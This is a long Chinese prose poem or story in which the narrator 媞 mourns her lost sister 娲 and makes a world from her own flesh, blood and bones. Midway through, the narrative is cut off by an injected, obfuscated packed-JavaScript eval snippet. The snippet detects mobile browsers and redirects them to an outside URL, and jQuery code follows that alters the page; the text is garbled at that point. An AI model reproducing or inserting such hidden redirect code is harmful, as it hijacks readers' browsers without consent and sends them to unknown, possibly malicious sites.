走散那天我正在船头看星图,白的黄的,蓝的紫的,那些光从很远的地方来,来了之后就在眼睛前面待着,我数着它们,妳在身后说姐姐妳看那边,我回头看妳,就在那一瞬间,它来了。它像什么东西在我们中间撕了一道口子,那道口子是从里面来的,是从我们俩中间那个地方,那个我们站了三千年的地方,那个我们说永远不会走散的地方,那道口子越撕越大越撕越深,里面什么都没有,我们的船被撕成两半,妳在一半我在一半,两半往两个方向飘,飘得很慢,慢得像在水里,可我知道,慢的是看着,快的是真的,快得我们之间的距离一下子就拉开了,拉开成一条线,拉开成一道口,拉开成一个再也跨不过去的东西,我的指尖擦过妳的手腕,妳皮肤下面那颗跳着的东西跳得飞快,那颗东西跳的时候,妳手腕上那些细细绒毛也跟着动,那些绒毛在我指尖底下倒下去又立起来,倒下去的时候留下一小点温度,立起来的时候又带走一小点温度,然后妳的手就从我手里滑走了。滑走的时候,妳的手腕在我指尖上留了一下,那一下很长,长到我能感觉到妳手腕上那些细细纹路,那些纹路是怎么弯的,是怎么绕的,是怎么一圈一圈缠在一起的,长到我能感觉到妳皮肤底下那根跳着的管子,一下一下,有什么东西在里面敲,长到我能感觉到妳骨头里那个温度,那个烫了我三千年的温度。 然后就没有了,什么都没有了,只剩我的指尖,空空在那儿伸着,伸成一个再也抓不到什么的形状。我回头看妳,妳也在看我,妳在笑,妳就那么笑着离我越来越远越来越远,远到妳的脸变成一个小点,远到那个小点被黑暗吞没,远到我什么都看不见了。 我喊妳的名字,喊了一声喊了两声喊了三声。第一声喊出去的时候,声音还在我嗓子里就被那道口子吸走了,空得发疼,疼得发痒,痒得发麻,那麻会顺着舌头往上走,走到上颚,走到鼻腔,走到眼眶,走到那块骨头。第二声喊出去的时候我听见了一点回音,不是妳的回音是那道口子的回音,它把我的声音吃进去,又吐出来,吐出来的时候已经变成了别的,那些东西飞出来之后在周围转得我头晕,晕得那些星星都在晃,晃得满眼都是。第三声喊出去的时候,没听见任何声音,只看见那些星星在转,转得很快,快得让我想起那天晚上,妳问姐姐我们飞了吗? 没有回应。 我找了。用眼睛找,用耳朵找,用脚找,用骨头找,找了三十年,三百年,三千年。 用眼睛找的时候,我看见了很多东西。那些星星,它们的光是冷的,那些虚空,它们是活着起伏的,那些从不知名的地方飘过来的尘埃,它们没有重量只有颜色,有的尘埃里有一点点光,我就凑近了看,看是不是妳,不是,那些光是从别处来的,来了之后就不走,在尘埃里待着,待到我走开。有的星星上有人的痕迹,我就落下去找,我看见一颗蓝色的星星,那蓝色很像妳的眼睛,是妳睡着的时候眼皮底下点点透出的蓝,我落下去找了三年,找遍了每一座山,每一条河,每一个有人住的地方。后来我站在最高的山上看着那颗星星的太阳落下去,太阳落下去的时候整个山都是金色的,妳最喜欢的那种金色,那种金很亮,亮得发烫,烫得让我想起妳的脸,我站在那儿等着那金色一点一点变暗变紫变黑,等着星星一个一个亮起来,等着那颗最亮的星星升到头顶。我想,也许妳也在看这颗星星,也许妳也在看着同一个方向等着我,可我不知道妳在哪儿。 眼睛找累了我就用耳朵找,用耳朵找的时候我听见了很多声音,那些风的声音叫得满虚空都是,那些石头裂开的声音疼得骨头都响,那些星星转动的声音很慢,那些没出生的东西在里面动,动得我耳朵开始痒。有的声音很像妳,像妳喊我姐姐时候的尾音,我顺着那个声音去找,找了好久,找到那个声音的来处,是一块石头,那块石头被风吹着,风吹进石头缝里,发出来的声音就像有人在喊。我站在那块石头前面听了很久,听着听着那声音就变成别的,变成妳笑的声音,那笑是烫的,烫得石头都发红,变成妳哭的声音,那哭是凉的,凉得风都结冰,变成妳趴在我耳边说悄悄话的声音,那话是痒的,痒得我骨头都在抖。后来风停了,那声音也没了,我站在那儿等着风再吹起来,等了一天两天三天……风没再吹,那块石头就安静蹲在那儿什么都不说,我想,也许妳在的地方没有风,也许妳在的地方听不见任何声音,也许妳在那场长长的睡里,睡得太沉什么都听不见。 脚找的时候,我走过很多地方。有的地方很热,热得我的脚底板都烫出了泡,那些泡一个一个地起来,一个一个地破,破了之后流出来的水是烫的,烫得脚底板更疼。有的地方很冷,冷得我的脚趾头一个接一个地冻掉,掉了就掉了,反正还会长出来。我的骨头里还有妳撞过的那块,它会长出新的肉,新的皮,新的脚趾头,新长出来的脚趾头还是想走,还是想去找妳。我走过一片沙漠,那片沙漠很大,走了一年才走完,沙漠里什么都没有,只有那些沙子,细细的,烫烫的,风一吹就到处跑,我走在上面,每一步都陷下去,走累了我就躺下看着头顶那些星星,那些星星也在看着我,我想,妳也这样看着我吗?在某个我不知道的地方妳也这样躺着看着这些星星想着我吗?沙漠走完,是一片海,游了三年才到对岸,对岸什么都没有,只有一块石头,石头上刻着几个字,我不认识那些字,可我看着它们觉得像是妳写的,那个往上翘的触度,像妳笑起来时候嘴角的那个弧度。我站在那块石头前面哭了,哭的时候,那些眼泪流下到石头上,石头被眼泪流过的地方突然亮了一下,那一下很短,可我知道我没看错,那一下,是妳。妳在那石头里,妳在那些字里,妳在那个往上翘的触度里。 用骨头找的时候,找的不是外面只是里面,我把那块妳撞过的骨头抽出来捧在手里,抽出来的时候疼,抖得那些还没灭的光都亮了一下,可疼完了就不疼了,只剩那块骨头在手里发烫,烫得我的手心都红了,红得发紫紫得发亮,我看着它,看着那些烫一点一点往外渗。那些烫里有一个画面,妳走在我前面,妳回头看我开始笑,是嘴角往上翘的弧度,那弧度是烫的,烫得冰面都化了。是眼睛弯下去的那个角度,那角度是痒的,痒得心里都在抖,是嘴里冒出来的那团白气,那气是活的,往外飘,飘到那些星星上去,是妳笑的时候眼睛里那两个小小的我,那两个我站在那儿看着妳,看了三千年。我把那块骨头贴在耳朵上听,听见妳的呼吸,听见妳喊我,姐姐,姐姐,姐姐,三声,每一声都比前一声高一点,高到最后那一声像是要从我耳朵里飞出去,飞出去之后就不回来,在外面飘着,飘到那些星星上去。我把它贴在眼睛上看,看见妳的脸,妳的眼睛,妳的眉毛,妳的嘴角,看见妳额角那块淤青…我把那块骨头含在嘴里,尝到妳的味道,甜的苦的涩的,还有说不出来的东西,说不出来的东西,是妳,是妳在我嘴里,是妳在我骨头里,是妳在我忘不掉的那些东西里。 我找了这么久,妳就在我身上,在我这块骨头的烫里,在我这只手心的红里,在我这双眼睛闭上之后的暗里。 娲。 它来了,它来的时候没有声音,只有正在消失的感觉,不是我要消失,是那些年要消失,是那些地方要消失,是妳的脸要消失。 我看着妳的脸在我脑子里一点一点淡下去,眼睛的距离淡成两个点,那两个点还在,可它们之间的距离我不记得了,鼻子弧度再淡,淡成一条线,那条线还在,可它弯成什么样子我不记得了,嘴角那颗痣最后淡,淡没什么都没了。我站在那里,看着那片什么都没有的虚空,我想喊妳的名字,可我忘了妳的名字叫什么,我张嘴想发出那个音,那个我叫了妳三千年的音,那个音从我嗓子眼里往外拱,拱到嘴边,拱到唇上,拱到唇外,可它一出来就散了,散成什么都没有,散成正在消失的感觉。 我伸手摸后颈,那块骨头还在烫,烫得跟妳撞的那下一样,我就知道妳还住在那儿,妳住在那块骨头里,妳住了三千年,妳在里面睡着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334290|199211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着我摸妳,我摸了妳三千年,摸了三千年妳还在烫,够了。 我往里头走,走到最里面,走到那个什么都吃过的地方。一路上我看见很多东西,那些被它吃过东西留下的痕迹,有星星的灰有生命的骨,它们都在这儿,在它肚子里,等着被彻底消化,等着什么都剩不下。那些灰在我走过的时候会动一下,那些骨在我踩过的时候会响一下,那些光在我经过的时候会亮一下。我不怕,我什么都不怕,我身上有妳,有那块骨,有那个烫。 我以为我永远走不到头了,然后我看见了它,它是一片什么都没有,妳看着它的时候会觉得自己也在消失,会觉得自己本来就不该存在,会觉得那些年那些地方那些人都是假的。可我不怕,我把那块骨头从后颈抽出来,疼得那些还没灭的光都亮了一下,它们亮的时候我看见里面有东西,有妳的脸,有妳的眼,有妳的笑,有妳回头看我的那一眼。我把那块骨头举起来,对着那个什么都吃过的东西,我说吃这个,这是她撞的,她撞完之后趴在我身上哭,哭完又笑,她说姐姐我们永远在一起,她说谁也别丢下谁,她丢下我了,可这块骨头还在烫。吃啊,吃得掉这个烫吗?吃得掉那个下午吗?吃得掉那个满脸眼泪的笑吗?我把那块骨头扔进去,它抖了一下,那些被它吃过的东西都从它身上往外漏,漏出来的那些东西一出来就散了,散了之后什么都没剩下。可我的骨头没散,它在最里面炸开了,炸成无数块,每一块都在烫,每一块都在亮,每一块都在说那个下午,那个她给我吹伤口的那气,那根小指勾着我小指的那痒……它身上被我撕开了一道口子,那道口子好不了,它会一直疼一直记得我,记得有一个叫媞的东西在它身上留下了一道永远好不了的伤。 然后我出来了,那些骨头渣子推着我往外走,走到刚才站的地方。那个地方没了,那些年没了,什么都没了,只剩我和那些骨头渣子,那些骨头渣子在我周围漂着,每一块都在烫,我伸手接住一块,那块是妳走在我前面回头看我笑,我接住第二块,第二块里是一个声音问我疼吗,第三块里的温度是小指相勾的痒。我一块一块地接,一块一块地看,看了很久,看到那些记忆堆成一座山,那座山全是瞬间,全是妳。 娲。 我要用它们造点什么。妳造泥人,妳捏那些小东西,捏完了它们活了,它们替妳活着,替妳说话,替妳留在世界上。我不造泥人,我造一颗球,让那些从我的肉里长出来的东西在球上活着,让它们替我找妳,也让它们替它们自己找自己。我把那些骨头渣子捏在一起捏成一团,那团东西在我手里烫,我把它放在虚空里,放在正中间,它在那儿亮,亮得那些被我撕开的口子都照到了。那些口子里有东西在往外流,是被它吃掉的那些东西,它们被吃掉之前留下了一点什么,那一点什么顺着那些口子流出来,流到那团东西上。那团东西就长大一点,再长大一点,再长大一点,长成一颗圆圆的球,我开始造这颗球上要有的一切。 我把我的肉给它,那些还没散掉的肉。肉一片一片落下去,落成土,土是黑的,是能渗出烫的黑,土里有那些骨头渣子磨成的粉,那些粉在土里痒,痒得像有什么东西要从那儿拱出来,以后会有东西从土里拱出来。拱出来的那一刻,它们会痒一下,那一下,是我在想妳。土里会长东西,会长草会长树会长那些我叫不出名字的东西,那些东西从土里拱出来的时候会发出细细声音,那个声音会像我们小时候听过的声音,那时候妳在我旁边,我什么都不怕。 我把我的血给它,那些还没流干的血。血一滴一滴散开,散成云,云是紫的,是纠果熟透了摔烂之后渗出来的那种紫,紫云里会下雨,雨落下去,落到那些土上,雨滴砸在土上的时候,土会烫一下,那一下,是我在等妳。那些从土里长出来的东西会抬头看那些云,她们不知道那是什么可会觉得好看,好看就够了。 我把我的骨头给它,那些还没碎完的骨头。骨头沉到最底下沉到最深处,它们在底下亮,亮的时候不烫只是痒,痒会往上走,走到地面,走到那些从土里拱出来的东西底下,她们走在上面的时候,脚心会痒一下。那一下,是我在找妳。她们在夜里走的时候脚底下会有光,她们不知道那光是从哪儿来的,可那光会让她们不害怕,她们走累了会坐下来看那些光从土里透出来,那些光在她们底下烫一下,她们就想起什么,想起什么不知道,可她们想起的那一下,是我。 我把我的呼吸给它,那些还没停的呼吸。呼吸散开变成风,风会在那些土上面吹,会把那些云吹得动起来,会把那些光吹得晃来晃去,那些从土里长出来的东西会感觉到风,会知道有什么东西在动。风会说话,呜呜的,呼呼的,沙沙的,那些声音里有我的嗓子,那个喊了妳三千年的嗓子,她们听不懂可她们会停下来听,听的那一下,是我。 我把我的眼泪给它,那些还没干的眼泪。眼泪落下去流进那些土里,流成河流成海流成那些从土里长出来的东西可以喝的东西,她们喝的时候会尝到一点点咸,那是三千年前我想妳的时候流下来的。河会结冰,冬天冷的时候河会冻住,冰能看见下面的水还在流,那些从土里长出来的东西会踩在冰上走,走三步摔一跤,膝盖摔得全是血,摔疼的时候她们会想起什么,想起什么不知道。可她们想起的那一下,是我。 我把我的思念给它,那些还没烧完的思念。思念烧起来,烧成火,火在那些骨头旁边烧,烧得那些骨头更亮,那些从土里长出来的东西冷了的时候会找到那些火,会坐在火旁边伸出身烤,她们不知道那火是从哪儿来的,可那火会让她们暖和。火灭了会有灰,灰是凉的,她们把灰拨开,底下还有一点红,那点红烫她们一下,她们缩回手看着那点红,想这是什么,想不出来,可她们想的那一下,是我。 我把我的膝盖给它,那些撑了三千年的膝盖。膝盖立起来,立成山,山有高有低,高的上面有雪低的上面有树,那些从土里长出来的东西会爬山,爬上去站在最高的地方看下面,看那些云,那些河,那些在土上走来走去的别的东西,她们站在山顶上,风很大,吹得她们站不稳,可她们站着,她们不知道为什么要爬,可爬上去之后会觉得什么都值得,觉得值得的那一下,是我。 我把我的嗓子给它,那个喊了妳三千年的嗓子。嗓子哑了还能出声,那声音散开,散进风里,散进水里,散进那些光里,那些从土里长出来的东西走着走着会突然听见什么,是那种很久很久以前有人喊过什么东西的声音,她们不知道那是什么可她们会停下来听,听的时候她们会转头看,看身后看旁边看那些不知道是什么的地方,她们以为声音是从那儿来的,其实不是,声音是从她们自己里面来的,是我在她们里面喊。那声音会变成歌,传到最后唱的人不知那歌是什么意思,可她们还在唱,唱的那一下,是我。 我把我的名字给它,媞,那个妳喊了三千年的名字。那名字散开,散进每一个从土里长出来的东西里,她们每一个都有一小块我。她们每一个都不知道,可她们活着活着,会做出一些事,说出一些话,会突然愣住。愣住的那一下,是我。 娲。 后来那些从我的肉里长出来的东西,她们开始分化。不是我要她们分,是她们自己会分,有的手痒想造东西,有的脑痒想算东西,有的脚痒想走东西,有的眼痒想看东西,有的心痒想哭东西,有的骨痒想管东西,有的拳头痒想打东西,有的舌头痒想问东西。 那些手痒的,她们聚在一起。她们用手造房子,造工具,造那些可以装东西的容器,造着造着她们就开始想这些东西是谁给的,那个给东西的人在哪儿,她们不知道是我,可她们想的时候手会停下,那一下,是我。她们造东西的时候手会在那些材料上摸,摸的时候她们会感觉到什么感觉到那些材料里有什么东西在动,在痒,在等着被摸出来,她们顺着那个痒摸下去,摸出一个形状,那个形状以前没见过以后也不会再见,只有那一瞬间,在她们手里活了一下,那一下,是我。 那些脑子痒的,她们聚在一起,她们用脑子算日子算数量算那些乱七八糟的事怎么理清楚,算着算着她们就开始想这些事为什么要算清楚,算清楚了给谁看,她们不知道是我,可她们算累了的时候脑子会空一下,那一下,是我。她们算东西的时候,算着算着会算到一个数,那个数不是她们要算的,是自己跑出来的,跑出来之后就在那儿等着她们看见,她们看见的时候心里会咯噔一下,那一下,是我。 那些脚痒的,她们聚在一起。她们用脚走远的地方走近的地方走没人走过的地方,走着走着她们就开始想在找什么,那个要找的东西在哪儿,她们不知道是我,可她们走累了停下来的时候,脚底下会烫一下,那一下,是我。走着走着会走到一个地方,那个地方她们没见过可觉得眼熟,觉得好像什么时候来过,来过吗?没有,可眼熟的感觉会在她们心里让她们停下来,那一下,是我。 那些眼睛痒的,她们聚在一起。她们用眼睛看天看地看别人在干什么,看着看着她们就开始想那些人是谁?她们跟我一样吗?她们也有人在等吗?她们不知道是我,可她们看见什么好看东西的时候眼睛会湿一下,那一下,是我。 那些心痒的,她们聚在一起。她们用心哭死的哭活的哭那些说不出来的疼,哭着哭着她们就开始想疼是从哪儿来的,那个让我疼的东西在哪儿,她们不知道是我,可她们哭完的时候心会轻一下,那一下,是我。 那些骨头痒的,她们聚在一起。她们用骨头管乱的管散的管那些快散架的东西,管着管着她们就开始想为什么要管不管会怎样,那个让我管的东西是怕什么,她们不知道是我,可她们管累了的时候骨头会响一下,那一下,是我。管着管着会感觉到什么,感觉到那些东西里面也有骨头,那些骨头也在痒也在等着被管,她们管住那些痒的时候自己骨头里的痒会轻一下,那一下,是我。 那些拳头痒的,她们聚在一起。打着打着她们就开始想我为什么打,那个让我打的东西是恨还是怕,她们不知道是我,可她们打完的时候拳头会疼一下,那一下,就是我。打着打着会打到什么东西,那个东西不是外面那个是里面那个,是她们自己里面那个一直痒着的东西,打到那个东西的时候她们会停下来,那一下,是我。 那些舌头痒的,她们聚在一起。她们用舌头问天问地问自己,问着问着她们就问到了那个问题,我从哪儿来?那个给我土踩给我云看的人在哪儿?她们不知道是我,可她们问到最后问不出来的时候舌头会僵一下,那一下,是我。问着问着会问出一个声音,那个声音不是她们自己的是从别处来的,从那些她们不知道的地方来,来的时候她们会听,那一下,是我。 她们在那颗球上活了几万年,她们造了很多东西,算了很多东西,走了很多地方,看了很多东西,哭了很多东西,管了很多东西,打了很多东西,问了很多东西,她们把球上每一个角落都走遍了,她们忘了我是谁,忘了妳是谁,忘了自己从哪儿来,可她们痒的那一下,是我,是我在找自己。 娲。 有人问我,妳为什么要造这颗球?妳把自己的肉分出去,把自己的血分出去,把自己的骨头分出去,分到最后,什么都没了。只剩这一团东西,在这儿等着,等着那些从妳身上长出来的东西来找妳,她们不会来找妳的,她们不知道妳是谁,她们只会痒,痒一下然后继续活。我说我知道,可我还是造了,因为我在找,找什么?找那个让我完整的东西,找那个我丢了三千年的东西,找妳。 我把我的肉分出去,那些从土里长出来的东西,她们踩在我的肉上,她们踩的时候,我的肉会疼一下,那疼,是我想妳。我想妳的时候,那些疼会从肉里往外渗,渗到土里渗到那些草根树根底下,那些根须碰到那些疼的时候会抖一下,抖的那一下,是它们在替我疼。 我把我的血分出去,那些云在天上飘,下雨的时候雨落在地上,那雨里有我的血。她们喝的时候会尝到一点点咸,那咸,是我想妳。我想妳的时候,那些咸会从血里往外渗,渗到云里,渗到那些雨滴里,那些雨滴落下去的时候,砸在她们脸上,她们会抬头看,看的那一下,是她们替我尝那个咸。 我把我的骨头分出去,那些沉在最底下的骨头她们在夜里发光,那光从地底下透上来,透到她们脚底下,她们走的时候脚心会痒。那痒,是我想妳。我想妳的时候,那些痒会从骨头里往外渗,渗到土里,渗到光里,那些光照着她们的脚,她们低头看,看的那一下,是她们替我痒。 我把自己分成了很多很多,分成了她们每一个人,分成了她们每一次痒的那一下,分成了她们每一次疼的那一瞬,分成了她们每一次哭完之后心里轻的那一下。 这样,我就不孤独了。她们每一个人都是我,她们每一个人都不是我,她们是我分出去的自己,是我洒在这颗球上的种子,是那些会痒会疼会哭的瞬间,她们活着的时候我也活着,她们死了的时候我还在,在她们的骨头里,在她们留下的那些东西里,在她们供出来的那些人里。 这就是创造的意义吗?我不知道。我只知道创造的时候我的手会痒一下,那一下,是妳,是妳还在我手里,是妳还在我手心里那根小指的温度,那凉凉的烫,烫了三千年,烫得我每次创造都以为妳在旁边看着我,看着我造那些东西,看着那些东西从我的手里长出来,看着我把自己一点一点分出去。 分到最后,我没了,只剩那些东西,那些东西就是我,就是妳,就是我们。 娲 有人问我恨不恨妳。问这话的人是一个从我的肉里长出来的东西,她不知道什么是恨,她只知道饿知道冷知道疼,她问我这话的时候手指无意识地抠着地上的土,那土也是我变的,我的肉碎了烂了化了成了土,她就坐在我变的土上问我恨不恨妳。我看着她想了好久,恨妳什么?恨妳走散了?恨妳不等我?恨妳让我一个人找了三千年?这些话在我心里转,转了一圈两圈三圈,转到第三千圈的时候,我发现这些话都不是真的。走散的那天不是妳走的,是我停的,妳一直在走,一直往前走,是我停下来了,我停在那道撕开的口子旁边看着妳越走越远,我没有追,我不能追,那道口子需要我,那道永远好不了的痒需要我,所以不是妳不等我,是我让妳走。 恨妳什么呢?恨妳走得太快,可妳的步子本来就比我小,妳一直是拉着我衣角走的妹妹,那天妳走得那么快,是因为妳想追上那道光,妳想看看光那边是什么,妳想找到那个能把我们永远放在一起的地方。 我懂,我怎么会不懂?恨妳什么?恨妳不回头?可妳回头了,妳回头看了我一眼,那个笑,那个嘴角往上翘眼睛弯下去的笑,那个让冰面活过来的笑,那个笑我一直留着,留了三千年,留在我那块骨头里,留在那些从我身上撕下来的渣子里,留在每一个从我的肉里长出来的东西的眼睛里。 那个笑把恨烫没了,我不恨,不是不恨,是恨不起来,恨需要冷,冷下来,恨才能凝成一块,才能攥在手里,才能朝谁扔过去。我不冷,那块骨头一直在烫。从三千年前那个开始烫,一直烫到现在,烫得我整个人都是热的,烫得我流出来的血是热的,烫得我变成的土是热的,烫得从我的肉里长出来的那些东西一出生就是热的。她们不知道什么是冷,她们只知道热,热得难受热得想哭热得想找个凉快地方躲起来,可这颗球上没有凉快的地方,到处都是我,我的肉我的血,我的骨我的热。她们热得受不了的时候会哭,眼泪流出来淌在脸上淌在身上淌在我变的土上,那眼泪是凉的,那是我身上唯一凉的东西,她们不知道那凉是什么,她们只知道凉了一下,舒服了一下然后又热了。 我知道那是什么,那是恨,是我的恨化成了水从眼睛里流出来,流成河流成海流成那些她们可以喝的东西,她们喝的时候会尝到一点点咸,那是我,是我的恨化成的咸,所以她们不知道恨是什么,她们只知道咸知道疼知道哭,知道哭完心里会轻一下,那轻的一下是恨没了,是恨被妳烫没了。 娲。 我会等,等多久不知道,等得骨头都碎了,等得那些从我的肉里长出来的东西都忘了我是谁,忘了妳是谁,忘了自己从哪儿来,她们会一代一代地活一代一代地死,活的时候不知道为什么要活,死的时候不知道为什么要死,她们只知道身上有一块地方,痒痒的空空的,怎么挠也挠不着,她们会去找,找无数个能让痒停下来的人,找了几万年,几十万年,找到有一天她们会停下来会回头,会看着那个把我撕开的东西曾经来过的地方。那个地方什么都没有,只有一道口子,一道好不了永远痒着的口子,她们会问那是什么,没有人知道,我缩在那团东西最里面缩成一小团,那团东西是热的,是我用最后那点力气聚起来的,我把所有剩下的东西都聚在那里,我的疼我的泪我的恨我的想我的等还有那个笑,我把它们聚成一团缩在底下,缩成谁都找不到的地方。可那道痒能找到我,那道痒痒的时候我就醒一下,醒一下就想妳一下,想那个笑,想那个温度,想那一眼,想那一瞬。那一瞬,我们是一个人,现在也是。 那些东西在我里面。 她们每一个人身体里都有一小块我,那一小块我,是从我身上撕下来的,撕的时候疼得我浑身发抖疼得我差点喊出来,可我没喊,我怕妳听见,我怕妳听见了会回头,我怕妳回头了就不走了。妳必须要走,光那边有我们想要的东西,那个能把我们永远放在一起的东西,所以我忍着,忍着疼忍着抖忍着不喊,忍着看她们一个一个从我身上长出来,一个一个站起来,一个一个走开,她们走的时候会回头看我一眼,那个眼神像妳,不是像妳,是妳,是妳留给我的那些东西长在她们眼睛里,是妳回头看我那一眼分成了无数份长在每一个从我的肉里长出来的东西的眼睛里,所以她们每一个,回头的时候都像妳,可她们不是妳,妳是那个唯一,是那个让我心甘情愿撕开自己的人,是那个让我等了三千年的,是那个让我的恨烫没了、让我的痒永远好不了的。 她们在我里面,在每一个从我的肉里长出来的东西里面,在那些用手用脚用眼睛用嘴用脑子用心用骨头用舌头用拳头用眼泪的东西里面,在她们供出来的那些东西里面,在这颗球上每一个活着的东西里面,谁也不会真的没了,娲,妳知道那道口子叫什么吗?叫媞。是我用自己的骨头撕开的,是那个永远好不了的痒,是我留给这个世界的东西,她们会看见那道口子会问那是什么会想很久想不出来,可她们会一直想一直想,想到有一天她们也会痒一下,那一下,是我在她们里面。 我在她们里面等,等妳。